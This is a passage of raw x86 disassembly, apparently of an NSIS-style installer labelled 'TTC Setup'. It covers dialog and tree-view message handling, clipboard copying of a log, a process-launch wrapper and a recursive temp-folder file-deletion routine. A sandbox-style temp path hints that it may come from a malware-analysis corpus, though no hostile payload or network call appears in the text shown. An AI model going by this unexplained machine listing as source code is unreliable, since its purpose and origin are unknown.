[edi+8], 0FFFFFE6Ah jnz short loc_405725 mov eax, [edi+5Ch] cmp dword ptr [edi+0Ch], 2 lea eax, [eax+eax*2] lea eax, [ebx+eax*8+8] jnz short loc_405722 or dword ptr [eax], 20h jmp short loc_405725 ; --------------------------------------------------------------------------- loc_405722: ; CODE XREF: sub_40526B+4B0j and dword ptr [eax], 0FFFFFFDFh loc_405725: ; CODE XREF: sub_40526B+3BFj ; sub_40526B+3D4j ... cmp [ebp+arg_4], 200h jnz short loc_40573C push 0 push 0 push 200h push [ebp+var_4] call esi ; SendMessageA loc_40573C: ; CODE XREF: sub_40526B+4C1j mov ebx, 432h cmp [ebp+arg_4], ebx jz short loc_40576F cmp [ebp+arg_4], 111h jnz loc_40587A cmp word ptr [ebp+arg_8], 3F9h jnz loc_4059FF mov eax, [ebp+arg_8] shr eax, 10h cmp ax, 1 jnz loc_4059FF loc_40576F: ; CODE XREF: sub_40526B+4D9j xor edi, edi push edi push edi push 147h push [ebp+var_8] call esi ; SendMessageA cmp [ebp+arg_4], ebx jz short loc_40578B cmp eax, 0FFFFFFFFh jz loc_40587A loc_40578B: ; CODE XREF: sub_40526B+515j push edi push eax push 150h push [ebp+var_8] call esi ; SendMessageA cmp [ebp+arg_4], ebx mov [ebp+var_C], eax jnz short loc_4057AF mov eax, dword_42F0B8 mov dword_42F0BC, edi mov [ebp+var_C], eax jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057AF: ; CODE XREF: sub_40526B+532j mov [ebp+arg_C], 1 loc_4057B6: ; CODE XREF: sub_40526B+542j cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4057C7 mov eax, [ebp+var_18] mov ecx, [ebp+var_C] cmp [eax+ecx*4], edi jnz short loc_4057CE loc_4057C7: ; CODE XREF: sub_40526B+54Fj mov [ebp+var_C], 20h loc_4057CE: ; CODE XREF: sub_40526B+55Aj cmp [ebp+var_C], 20h jz loc_40586B mov eax, dword_42F04C mov ecx, dword_42BA10 cmp eax, edi mov [ebp+arg_4], ecx jz short loc_40585D mov ecx, [ebp+var_C] xor ebx, ebx inc ebx mov [ebp+var_1C], eax shl ebx, cl mov ecx, [ebp+var_10] lea edi, [ecx+8] loc_4057FB: ; CODE XREF: sub_40526B+5F0j xor eax, eax inc eax test [edi-4], ebx jz short loc_40580B or dword ptr [edi], 1 push 2 pop eax jmp short loc_40580E ; --------------------------------------------------------------------------- loc_40580B: ; CODE XREF: sub_40526B+596j and dword ptr [edi], 0FFFFFFFEh loc_40580E: ; CODE XREF: sub_40526B+59Ej test byte ptr [edi], 10h jz short loc_405816 add eax, 3 loc_405816: ; CODE XREF: sub_40526B+5A6j mov ecx, [ebp+arg_4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_40], ecx jz short loc_405851 shl eax, 0Ch mov [ebp+var_3C], eax lea eax, [ebp+var_44] push eax push 0 push 110Dh mov [ebp+var_44], 8 push [ebp+var_4] mov [ebp+var_38], 0F000h call esi ; SendMessageA push [ebp+var_40] push [ebp+var_4] call sub_405AEF loc_405851: ; CODE XREF: sub_40526B+5B5j add [ebp+arg_4], 4 add edi, 18h dec [ebp+var_1C] jnz short loc_4057FB loc_40585D: ; CODE XREF: sub_40526B+57Dj push 0 push 6 push 115h push [ebp+var_4] call esi ; SendMessageA loc_40586B: ; CODE XREF: sub_40526B+567j mov eax, [ebp+var_C] mov [ebp+arg_4], 40Fh mov dword_42F0B8, eax loc_40587A: ; CODE XREF: sub_40526B+4E2j ; sub_40526B+51Aj xor edi, edi cmp [ebp+arg_4], 40Bh jnz short loc_4058B7 mov eax, dword_42B5FC cmp eax, edi jz short loc_405895 push eax call ds:dword_407030 loc_405895: ; CODE XREF: sub_40526B+621j mov eax, dword_42BA10 cmp eax, edi jz short loc_4058A5 push eax call ds:dword_4070BC ; GlobalFree loc_4058A5: ; CODE XREF: sub_40526B+631j mov dword_42B5FC, edi mov dword_42BA10, edi mov dword_42F080, edi loc_4058B7: ; CODE XREF: sub_40526B+618j cmp [ebp+arg_4], 40Fh jnz loc_4059FF cmp [ebp+arg_8], edi jz short loc_4058D0 push 8 call sub_4020C0 loc_4058D0: ; CODE XREF: sub_40526B+65Cj test byte ptr dword_42F030+1, 1 jz short loc_40590B xor ebx, ebx cmp dword_42F0B8, 20h mov esi, ds:dword_407218 setz bl shl ebx, 3 push ebx push [ebp+var_4] call esi ; ShowWindow push ebx push 3FEh push [ebp+arg_0] call ds:dword_40722C ; GetDlgItem push eax call esi ; ShowWindow jmp loc_4059CD ; --------------------------------------------------------------------------- loc_40590B: ; CODE XREF: sub_40526B+66Cj cmp [ebp+arg_C], edi jnz loc_4059CD xor ebx, ebx mov [ebp+var_1C], edi jmp short loc_40591D ; --------------------------------------------------------------------------- loc_40591B: ; CODE XREF: sub_40526B+746j xor edi, edi loc_40591D: ; CODE XREF: sub_40526B+6AEj mov eax, dword_42BA10 mov ecx, [ebp+var_18] mov [ebp+var_14], eax mov eax, dword_42F04C cmp [ecx+ebx*4], edi mov [ebp+var_C], eax jz short loc_4059AD cmp eax, edi jz short loc_4059A1 mov eax, [ebp+var_10] lea edi, [eax+4] loc_40593F: ; CODE XREF: sub_40526B+734j mov eax, [ebp+var_14] dec [ebp+var_C] mov eax, [eax] test eax, eax jz short loc_405994 test byte ptr [edi+4], 6 jnz short loc_405994 mov [ebp+var_40], eax lea eax, [ebp+var_44] push eax push 0 push 110Ch mov [ebp+var_44], 8 push [ebp+var_4] call esi ; ShowWindow mov eax, [ebp+var_3C] shr eax, 0Ch cmp eax, 1 jz short loc_40597F cmp eax, 4 jz short loc_40597F xor eax, eax jmp short loc_405982 ; --------------------------------------------------------------------------- loc_40597F: ; CODE XREF: sub_40526B+709j ; sub_40526B+70Ej xor eax, eax inc eax loc_405982: ; CODE XREF: sub_40526B+712j xor edx, edx mov ecx, ebx inc edx shl edx, cl and edx, [edi] neg edx sbb edx, edx inc edx cmp edx, eax jnz short loc_4059A4 loc_405994: ; CODE XREF: sub_40526B+6DEj ; sub_40526B+6E4j add [ebp+var_14], 4 add edi, 18h cmp [ebp+var_C], 0 jnz short loc_40593F loc_4059A1: ; CODE XREF: sub_40526B+6CCj dec [ebp+var_C] loc_4059A4: ; CODE XREF: sub_40526B+727j cmp [ebp+var_C], 0 jl short loc_4059B7 inc [ebp+var_1C] loc_4059AD: ; CODE XREF: sub_40526B+6C8j inc ebx cmp ebx, 20h jl loc_40591B loc_4059B7: ; CODE XREF: sub_40526B+73Dj xor edi, edi mov dword_42F0B8, ebx push edi push [ebp+var_1C] push 14Eh push [ebp+var_8] call esi ; ShowWindow loc_4059CD: ; CODE XREF: sub_40526B+69Bj ; sub_40526B+6A3j mov eax, dword_42E7FC cmp [eax+10h], edi jz short loc_4059FF push 0FFFFFFFBh push offset dword_42BA18 call sub_4068D5 push eax push 5 call sub_4051F5 push eax call sub_405176 push eax push 3FFh push [ebp+arg_0] call sub_4061E0 ; SetDlgItemTextA loc_4059FF: ; CODE XREF: sub_40526B+2F6j ; sub_40526B+38Ej ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_404A36 loc_405A0D: ; CODE XREF: sub_40526B+347j pop edi pop esi pop ebx leave retn 10h sub_40526B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A14 proc near ; CODE XREF: sub_40526B+39Ep ; sub_40526B+45Bp ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h and [ebp+var_4], 0 and [ebp+var_8], 0 push ebx push esi mov esi, ds:dword_407248 push edi push [ebp+arg_4] mov [ebp+var_C], 1 mov edi, 110Ah push 4 jmp short loc_405A53 ; --------------------------------------------------------------------------- loc_405A3E: ; CODE XREF: sub_405A14+49j push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_405A14 add [ebp+var_4], eax inc [ebp+var_8] push ebx push 1 loc_405A53: ; CODE XREF: sub_405A14+28j push edi push [ebp+arg_0] call esi ; SendMessageA mov ebx, eax test ebx, ebx jnz short loc_405A3E mov eax, [ebp+arg_4] mov [ebp+var_34], 0Ch mov [ebp+var_30], eax lea eax, [ebp+var_34] push eax push ebx push 110Ch mov [ebp+var_28], 0F000h push [ebp+arg_0] call esi ; SendMessageA mov eax, [ebp+var_10] mov ecx, dword_42F048 lea eax, [eax+eax*2] lea ecx, [ecx+eax*8+8] mov eax, [ecx] test al, 10h jz short loc_405AA2 push 4 mov edi, eax pop edx and edi, 1 jmp short loc_405AA8 ; --------------------------------------------------------------------------- loc_405AA2: ; CODE XREF: sub_405A14+82j mov edx, [ebp+var_C] mov edi, [ebp+arg_8] loc_405AA8: ; CODE XREF: sub_405A14+8Cj mov ebx, [ebp+var_4] and al, 0BEh test ebx, ebx mov [ecx], eax jnz short loc_405AB7 test edi, edi jz short loc_405AD0 loc_405AB7: ; CODE XREF: sub_405A14+9Dj inc edx cmp [ebp+var_8], ebx jnz short loc_405AC1 or al, 1 jmp short loc_405AC4 ; --------------------------------------------------------------------------- loc_405AC1: ; CODE XREF: sub_405A14+A7j inc edx or al, 40h loc_405AC4: ; CODE XREF: sub_405A14+ABj mov [ebp+arg_8], 1 mov [ecx], eax mov edi, [ebp+arg_8] loc_405AD0: ; CODE XREF: sub_405A14+A1j lea eax, [ebp+var_34] push eax push 0 push 110Dh push [ebp+arg_0] shl edx, 0Ch mov [ebp+var_2C], edx call esi ; SendMessageA mov eax, edi pop edi pop esi pop ebx leave retn 0Ch sub_405A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AEF proc near ; CODE XREF: sub_40526B+22Bp ; sub_40526B+3A9p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch push esi push edi push [ebp+arg_4] mov esi, ds:dword_407248 and [ebp+var_4], 0 mov edi, 110Ah push 3 push edi push [ebp+arg_0] call esi ; SendMessageA test eax, eax mov [ebp+arg_4], eax jz loc_405BBF push ebx push eax push 4 push edi push [ebp+arg_0] call esi ; SendMessageA mov [ebp+var_2C], 0Ch mov [ebp+var_20], 0F000h jmp short loc_405B59 ; --------------------------------------------------------------------------- loc_405B36: ; CODE XREF: sub_405AEF+7Cj mov [ebp+var_28], ebx call esi ; SendMessageA mov eax, [ebp+var_24] push 3 shr eax, 0Ch cdq pop ecx idiv ecx test edx, edx jnz short loc_405B4D push ecx pop edx loc_405B4D: ; CODE XREF: sub_405AEF+5Aj or [ebp+var_4], edx push ebx push 1 push edi push [ebp+arg_0] call esi ; SendMessageA loc_405B59: ; CODE XREF: sub_405AEF+45j mov ebx, eax lea eax, [ebp+var_2C] push eax push 0 push 110Ch push [ebp+arg_0] test ebx, ebx jnz short loc_405B36 mov edi, [ebp+arg_4] mov [ebp+var_28], edi call esi ; SendMessageA mov eax, [ebp+var_8] mov ecx, dword_42F048 mov edx, [ebp+var_4] pop ebx lea eax, [eax+eax*2] lea eax, [ecx+eax*8+8] and dword ptr [eax], 0FFFFFFBEh mov ecx, [eax] cmp edx, 2 jnz short loc_405B98 or ecx, 1 mov [eax], ecx loc_405B98: ; CODE XREF: sub_405AEF+A2j cmp edx, 3 jnz short loc_405BA0 or dword ptr [eax], 40h loc_405BA0: ; CODE XREF: sub_405AEF+ACj lea eax, [ebp+var_2C] push eax push 0 push 110Dh push [ebp+arg_0] shl edx, 0Ch mov [ebp+var_24], edx call esi ; SendMessageA push edi push [ebp+arg_0] call sub_405AEF loc_405BBF: ; CODE XREF: sub_405AEF+27j pop edi pop esi leave retn 8 sub_405AEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BC5 proc near ; DATA XREF: sub_40526B+87o var_28 = dword ptr -28h var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 102h push esi push edi jnz short loc_405BF1 cmp [ebp+arg_8], 20h jnz loc_405C8D push 413h call sub_404A1B xor eax, eax jmp loc_405CA6 ; --------------------------------------------------------------------------- loc_405BF1: ; CODE XREF: sub_405BC5+Fj or edi, 0FFFFFFFFh cmp [ebp+arg_4], 2 jnz short loc_405C00 mov dword_4092BC, edi loc_405C00: ; CODE XREF: sub_405BC5+33j cmp [ebp+arg_4], 200h mov esi, 419h jnz short loc_405C4D push [ebp+arg_0] call ds:dword_4071CC ; IsWindowVisible test eax, eax jz short loc_405C8D push [ebp+arg_0] call sub_40521F test eax, eax mov [ebp+var_24], eax jz short loc_405C48 lea eax, [ebp+var_28] mov [ebp+var_28], 4 push eax push 0 push 110Ch push [ebp+arg_0] call ds:dword_407248 ; SendMessageA mov edi, [ebp+var_4] loc_405C48: ; CODE XREF: sub_405BC5+63j mov [ebp+arg_4], esi jmp short loc_405C50 ; --------------------------------------------------------------------------- loc_405C4D: ; CODE XREF: sub_405BC5+47j mov edi, [ebp+arg_C] loc_405C50: ; CODE XREF: sub_405BC5+86j cmp [ebp+arg_4], esi jnz short loc_405C90 cmp dword_4092BC, edi jz short loc_405C90 push ebx mov esi, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" mov ebx, offset dword_42BA18 push esi push ebx mov dword_4092BC, edi call sub_4068C9 ; lstrcpy push edi push esi call sub_406827 push 6 call sub_4020C0 push ebx push esi call sub_4068C9 ; lstrcpy pop ebx jmp short loc_405C90 ; --------------------------------------------------------------------------- loc_405C8D: ; CODE XREF: sub_405BC5+15j ; sub_405BC5+54j mov edi, [ebp+arg_C] loc_405C90: ; CODE XREF: sub_405BC5+8Ej ; sub_405BC5+96j ... push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword_42BA0C call ds:dword_4071C8 ; CallWindowProcA loc_405CA6: ; CODE XREF: sub_405BC5+27j pop edi pop esi leave retn 10h sub_405BC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CAC proc near ; CODE XREF: sub_4020D8+9p ; sub_4020E9:loc_40214Fp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, dword_42E804 push ebx push esi push edi xor edi, edi mov [ebp+var_8], eax cmp eax, edi jz loc_405D7C mov ebx, dword_4092C0 mov esi, offset byte_42ADF8 mov [ebp+var_4], ebx and [ebp+var_4], 1 jnz short loc_405CE4 push [ebp+arg_0] push esi call sub_4068D5 loc_405CE4: ; CODE XREF: sub_405CAC+2Dj push esi call sub_4068CF ; lstrlen cmp [ebp+arg_4], edi mov [ebp+arg_0], eax jz short loc_405D0E push [ebp+arg_4] call sub_4068CF ; lstrlen add eax, [ebp+arg_0] cmp eax, 800h jnb short loc_405D7C push [ebp+arg_4] push esi call ds:dword_40708C ; lstrcat loc_405D0E: ; CODE XREF: sub_405CAC+44j test bl, 4 jz short loc_405D20 push esi push dword_42E7E8 call ds:dword_40720C ; SetWindowTextA loc_405D20: ; CODE XREF: sub_405CAC+65j test bl, 2 jz short loc_405D6D push edi push edi push 1004h mov [ebp+var_1C], esi push [ebp+var_8] mov esi, ds:dword_407248 mov [ebp+var_30], 1 call esi ; SendMessageA sub eax, [ebp+var_4] mov [ebp+var_28], edi not ebx mov [ebp+var_2C], eax lea eax, [ebp+var_30] and ebx, 1 push eax or bx, 1006h push edi push ebx push [ebp+var_8] call esi ; SendMessageA push edi push [ebp+var_2C] push 1013h push [ebp+var_8] call esi ; SendMessageA loc_405D6D: ; CODE XREF: sub_405CAC+77j cmp [ebp+var_4], edi jz short loc_405D7C mov eax, [ebp+arg_0] and byte_42ADF8[eax], 0 loc_405D7C: ; CODE XREF: sub_405CAC+15j ; sub_405CAC+56j ... pop edi pop esi pop ebx leave retn 8 sub_405CAC endp ; =============== S U B R O U T I N E ======================================= sub_405D83 proc near ; CODE XREF: sub_4041E1+22Dp ; DATA XREF: sub_405DE5+1BEo arg_0 = dword ptr 4 push esi mov esi, dword_42F048 push edi mov edi, dword_42F04C push 0 call ds:dword_40727C or dword_42F0D0, eax test edi, edi jz short loc_405DCB add esi, 0Ch loc_405DA6: ; CODE XREF: sub_405D83+3Ej dec edi test byte ptr [esi-4], 1 jz short loc_405DBC push [esp+8+arg_0] push dword ptr [esi] call sub_40201D test eax, eax jnz short loc_405DC5 loc_405DBC: ; CODE XREF: sub_405D83+28j add esi, 18h test edi, edi jnz short loc_405DA6 jmp short loc_405DCB ; --------------------------------------------------------------------------- loc_405DC5: ; CODE XREF: sub_405D83+37j inc dword_42F0AC loc_405DCB: ; CODE XREF: sub_405D83+1Ej ; sub_405D83+40j push 404h call sub_404A1B call ds:dword_407280 mov eax, dword_42F0AC pop edi pop esi retn 4 sub_405D83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DE5 proc near ; DATA XREF: .data:004092B4o var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi mov esi, dword_42E804 xor ebx, ebx cmp [ebp+arg_4], 110h push edi mov [ebp+var_4], esi jnz loc_405F86 or [ebp+var_2C], 0FFFFFFFFh or [ebp+var_20], 0FFFFFFFFh xor eax, eax lea edi, [ebp+var_1C] mov [ebp+var_34], 2 mov [ebp+var_30], ebx mov [ebp+var_28], ebx mov [ebp+var_24], ebx stosd stosd mov eax, dword_42F028 mov edi, ds:dword_40722C push 403h mov ecx, [eax+5Ch] mov eax, [eax+60h] push [ebp+arg_0] mov [ebp+arg_4], ecx mov [ebp+arg_8], eax call edi ; GetDlgItem push 3EEh mov dword_42E7F0, eax push [ebp+arg_0] call edi ; GetDlgItem push 3F8h mov dword_42E7E8, eax push [ebp+arg_0] call edi ; GetDlgItem push dword_42E7F0 mov dword_42E804, eax mov [ebp+var_4], eax call sub_404A04 push 4 call sub_4051F5 mov dword_42E7F4, eax lea eax, [ebp+var_14] push eax mov dword_42E80C, ebx push [ebp+var_4] call ds:dword_407254 ; GetClientRect push 15h call ds:dword_4071EC ; GetSystemMetrics mov ecx, [ebp+var_C] mov esi, ds:dword_407248 sub ecx, eax lea eax, [ebp+var_34] push eax push ebx push 101Bh mov [ebp+var_2C], ecx push [ebp+var_4] call esi ; SendMessageA mov eax, 4000h push eax push eax push 1036h push [ebp+var_4] call esi ; SendMessageA cmp [ebp+arg_4], ebx jl short loc_405EED push [ebp+arg_4] push ebx push 1001h push [ebp+var_4] call esi ; SendMessageA push [ebp+arg_4] push ebx push 1026h push [ebp+var_4] call esi ; SendMessageA loc_405EED: ; CODE XREF: sub_405DE5+EAj cmp [ebp+arg_8], ebx jl short loc_405F00 push [ebp+arg_8] push ebx push 1024h push [ebp+var_4] call esi ; SendMessageA loc_405F00: ; CODE XREF: sub_405DE5+10Bj mov eax, [ebp+arg_C] push dword ptr [eax+30h] push 1Bh push [ebp+arg_0] call sub_4049CF test byte ptr dword_42F030, 3 jz short loc_405F42 push ebx push dword_42E7F0 call ds:dword_407218 ; ShowWindow test byte ptr dword_42F030, 2 jnz short loc_405F3C push 8 push [ebp+var_4] call ds:dword_407218 ; ShowWindow jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3C: ; CODE XREF: sub_405DE5+148j mov dword_42E7F0, ebx loc_405F42: ; CODE XREF: sub_405DE5+132j ; sub_405DE5+155j push 3ECh push [ebp+arg_0] call edi ; GetDlgItem push 75300000h mov edi, eax push ebx push 401h push edi call esi ; SendMessageA test byte ptr dword_42F030, 4 jz loc_406158 push [ebp+arg_8] push ebx push 409h push edi call esi ; SendMessageA push [ebp+arg_4] push ebx push 2001h push edi call esi ; SendMessageA jmp loc_406158 ; --------------------------------------------------------------------------- loc_405F86: ; CODE XREF: sub_405DE5+1Bj cmp [ebp+arg_4], 405h jnz short loc_405FB7 lea eax, [ebp+arg_0] push eax push ebx push 3ECh push [ebp+arg_0] call ds:dword_40722C ; GetDlgItem push eax push offset sub_405D83 push ebx push ebx call ds:dword_4070DC ; CreateThread push eax call ds:dword_40706C ; CloseHandle loc_405FB7: ; CODE XREF: sub_405DE5+1A8j cmp [ebp+arg_4], 111h mov edi, ds:dword_407218 jnz short loc_405FE1 cmp word ptr [ebp+arg_8], 403h jnz short loc_406003 push ebx push dword_42E7F0 call edi ; ShowWindow push 8 push esi call edi ; ShowWindow call sub_404DBF loc_405FE1: ; CODE XREF: sub_405DE5+1DFj cmp [ebp+arg_4], 404h jnz short loc_40603F cmp dword_42E7EC, ebx jz short loc_406018 push 78h mov dword_42ADF0, 2 call sub_4049A8 loc_406003: ; CODE XREF: sub_405DE5+1E7j ; sub_405DE5+25Ej ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_404A36 loc_406011: ; CODE XREF: sub_405DE5+375j pop edi pop esi pop ebx leave retn 10h ; --------------------------------------------------------------------------- loc_406018: ; CODE XREF: sub_405DE5+20Bj push 8 push dword_42F024 call edi ; ShowWindow cmp dword_42F0AC, ebx jnz short loc_406038 mov eax, dword_42ADF4 push ebx push dword ptr [eax+34h] call sub_405CAC loc_406038: ; CODE XREF: sub_405DE5+243j push 1 call sub_4049A8 loc_40603F: ; CODE XREF: sub_405DE5+203j cmp [ebp+arg_4], 7Bh jnz short loc_406003 cmp [ebp+arg_8], esi jnz short loc_406003 push ebx push ebx push 1004h push esi call ds:dword_407248 ; SendMessageA cmp eax, ebx mov [ebp+arg_0], eax jle loc_406158 call ds:dword_4071E8 ; CreatePopupMenu push 0FFFFFFE1h push ebx mov edi, eax call sub_4068D5 push eax push 1 push ebx push edi call ds:dword_4071E4 ; AppendMenuA mov eax, [ebp+arg_C] cmp eax, 0FFFFFFFFh jnz short loc_406099 lea eax, [ebp+var_14] push eax push esi call ds:dword_40719C ; GetWindowRect mov ecx, [ebp+var_14] mov eax, [ebp+var_10] jmp short loc_4060A2 ; --------------------------------------------------------------------------- loc_406099: ; CODE XREF: sub_405DE5+29Fj movsx ecx, ax shr eax, 10h movsx eax, ax loc_4060A2: ; CODE XREF: sub_405DE5+2B2j push ebx push esi push ebx push eax push ecx push 180h push edi call ds:dword_4071E0 ; TrackPopupMenu xor edi, edi inc edi cmp eax, edi jnz loc_406158 mov esi, [ebp+arg_0] mov [ebp+var_34], ebx mov [ebp+var_28], offset dword_42BA18 mov [ebp+var_24], 0FFFh loc_4060D2: ; CODE XREF: sub_405DE5+307j lea eax, [ebp+var_3C] dec esi push eax push esi push 102Dh push [ebp+var_4] call ds:dword_407248 ; SendMessageA cmp esi, ebx lea edi, [edi+eax+2] jnz short loc_4060D2 push ebx call ds:dword_4071DC ; OpenClipboard call ds:dword_4071D8 ; EmptyClipboard push edi push 42h call ds:dword_4070D8 ; GlobalAlloc push eax mov [ebp+arg_4], eax call ds:dword_4070D4 ; GlobalLock mov esi, eax loc_406110: ; CODE XREF: sub_405DE5+357j lea eax, [ebp+var_3C] mov [ebp+var_28], esi push eax push ebx push 102Dh mov [ebp+var_24], edi push [ebp+var_4] call ds:dword_407248 ; SendMessageA push esi call sub_4068CF ; lstrlen add esi, eax mov word ptr [esi], 0A0Dh inc esi inc esi inc ebx cmp ebx, [ebp+arg_0] jl short loc_406110 push [ebp+arg_4] call ds:dword_4070D0 ; GlobalUnlock push [ebp+arg_4] push 1 call ds:dword_4071D4 ; SetClipboardData call ds:dword_4071D0 ; CloseClipboard loc_406158: ; CODE XREF: sub_405DE5+17Ej ; sub_405DE5+19Cj ... xor eax, eax jmp loc_406011 sub_405DE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40615F proc near ; CODE XREF: sub_404E2A+113p ; sub_4068D5+17Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax call ds:dword_407168 mov eax, [ebp+var_4] test eax, eax jz short locret_406186 push [ebp+arg_0] mov ecx, [eax] push eax call dword ptr [ecx+14h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+8] locret_406186: ; CODE XREF: sub_40615F+13j leave retn 4 sub_40615F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40618A proc near ; CODE XREF: sub_4020E9+A78p ; start+2B4p var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] mov dword_42D220, 44h call ds:dword_407074 ; GetFileAttributesA xor ecx, ecx cmp eax, 0FFFFFFFFh jz short loc_4061AE test al, 10h jnz short loc_4061B1 loc_4061AE: ; CODE XREF: sub_40618A+1Ej mov [ebp+arg_4], ecx loc_4061B1: ; CODE XREF: sub_40618A+22j lea eax, [ebp+var_10] push eax push offset dword_42D220 push [ebp+arg_4] push ecx push ecx push ecx push ecx push ecx push [ebp+arg_0] push ecx call ds:dword_4070E0 ; CreateProcessA test eax, eax jz short locret_4061DC push [ebp+var_C] call ds:dword_40706C ; CloseHandle mov eax, [ebp+var_10] locret_4061DC: ; CODE XREF: sub_40618A+44j leave retn 8 sub_40618A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4061E0 proc near ; CODE XREF: sub_403849+76p ; sub_4049CF+1Ap ... jmp ds:dword_4071F0 sub_4061E0 endp ; =============== S U B R O U T I N E ======================================= sub_4061E6 proc near ; CODE XREF: sub_404E2A+33p ; sub_404E2A+17Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 400h push [esp+4+arg_4] push [esp+8+arg_0] push dword_42E7F8 call ds:dword_4071F4 ; GetDlgItemTextA retn 8 sub_4061E6 endp ; =============== S U B R O U T I N E ======================================= sub_406202 proc near ; CODE XREF: sub_4020E9+465p ; sub_4020E9+536p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, eax and ecx, 0FFFFFh cmp dword_42F0C0, 0 jz short loc_40621C shr eax, 14h jnz short locret_406241 loc_40621C: ; CODE XREF: sub_406202+13j cmp dword_42F0C8, 0 jz short loc_40622B xor ecx, 180000h loc_40622B: ; CODE XREF: sub_406202+21j push ecx push offset aTtcSetup ; "TTC Setup" push [esp+8+arg_0] push dword_42F024 call ds:dword_4071F8 ; MessageBoxA locret_406241: ; CODE XREF: sub_406202+18j retn 8 sub_406202 endp ; =============== S U B R O U T I N E ======================================= sub_406244 proc near ; CODE XREF: sub_4020E9+7BFp ; sub_4020E9+B6Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 40h call ds:dword_4070D8 ; GlobalAlloc retn 4 sub_406244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406253 proc near ; CODE XREF: sub_4020E9+568p ; sub_4041BC+1Fp ... var_144 = dword ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 144h push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4064B0 mov edi, [ebp+arg_4] mov [ebp+var_4], eax and edi, 1 mov [ebp+arg_0], edi jz short loc_406288 test eax, eax jz loc_4063C8 test byte ptr [ebp+arg_4], 2 jz loc_406384 loc_406288: ; CODE XREF: sub_406253+21j mov esi, offset aCDocume1SriU_3 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... push ebx push esi call sub_4068C9 ; lstrcpy test edi, edi mov edi, ds:dword_40708C jz short loc_4062A8 push offset a_ ; "\\*.*" push esi call edi ; lstrcat jmp short loc_4062AE ; --------------------------------------------------------------------------- loc_4062A8: ; CODE XREF: sub_406253+49j push ebx call sub_406417 loc_4062AE: ; CODE XREF: sub_406253+53j push offset dword_409038 push ebx call edi ; lstrcat push ebx call sub_4068CF ; lstrlen mov edi, eax lea eax, [ebp+var_144] push eax push esi add edi, ebx call ds:dword_407114 ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40637A loc_4062D9: ; CODE XREF: sub_406253+11Aj cmp [ebp+var_118], 2Eh jnz short loc_4062F4 cmp [ebp+var_117], 2Eh jz short loc_40635D cmp [ebp+var_117], 0 jz short loc_40635D loc_4062F4: ; CODE XREF: sub_406253+8Dj lea eax, [ebp+var_118] push eax push edi call sub_4068C9 ; lstrcpy mov eax, [ebp+var_144] test al, 10h jz short loc_406320 mov eax, [ebp+arg_4] and eax, 3 cmp al, 3 jnz short loc_40635D push [ebp+arg_4] push ebx call sub_406253 jmp short loc_40635D ; --------------------------------------------------------------------------- loc_406320: ; CODE XREF: sub_406253+B6j and al, 0FEh push eax push ebx call ds:dword_407098 ; SetFileAttributesA push ebx call ds:dword_407110 ; DeleteFileA test eax, eax jnz short loc_406355 test byte ptr [ebp+arg_4], 4 jz short loc_40634D push ebx push 